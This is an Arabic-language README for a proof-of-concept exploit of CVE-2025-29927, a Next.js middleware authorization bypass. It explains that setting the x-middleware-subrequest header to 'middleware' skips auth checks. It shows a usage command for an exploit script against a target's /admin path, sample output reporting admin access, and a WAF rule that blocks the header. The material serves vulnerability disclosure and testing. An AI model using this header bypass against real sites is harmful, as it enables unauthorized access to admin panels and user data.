
إليك استغلال بسيط وفعّال لـ CVE-2025-29927.
يحتوي هذا المستودع على استغلال إثبات المفهوم (PoC) لـ CVE-2025-29927، وهي ثغرة حرجة في Next.js تسمح للمهاجمين بتجاوز فحوصات التفويض من خلال استغلال ترويسة HTTP خاصة بالوسيطة.
غالبًا ما تعتمد تطبيقات Next.js على الوسيطة (middleware) للتفويض والتحكم في الوصول. تنشأ هذه الثغرة (CVE) من خلل منطقي في طريقة معالجة ترويسة x-middleware-subrequest. عند تعيين هذه الترويسة إلى middleware، قد يفترض الخادم بشكل خاطئ أن الطلب نشأ من منطق داخلي، وبالتالي يتجاوز المصادقة المعتمدة على الوسيطة.
يمكن أن يسمح هذا للمهاجمين بالوصول إلى لوحات الإدارة أو واجهات برمجة التطبيقات المحمية أو بيانات المستخدمين — دون أي بيانات اعتماد أو جلسة صالحة.
نقدم سكربت Python بسيطًا لاختبار ما إذا كان تطبيق Next.js معرضًا للثغرة.
python3 exploit.py --url https://target.com --path /admin [--proxy http://127.0.0.1:8080]
[+] Sending request to: https://target.com/admin
[+] Using header: x-middleware-subrequest: middleware
[+] Status Code: 200
[+] Response Body (first 500 chars):
<!DOCTYPE html><html><head>...You are logged in as admin...
منطق WAF:
if header 'x-middleware-subrequest' == 'middleware':
block_request()
تم تطوير إثبات المفهوم هذا بواسطة فريق الأمن الهجومي في W2H Corp. كجزء من جهودنا المستمرة في أبحاث الثغرات. المقال الأصلي لشرح الثغرة موجود هنا.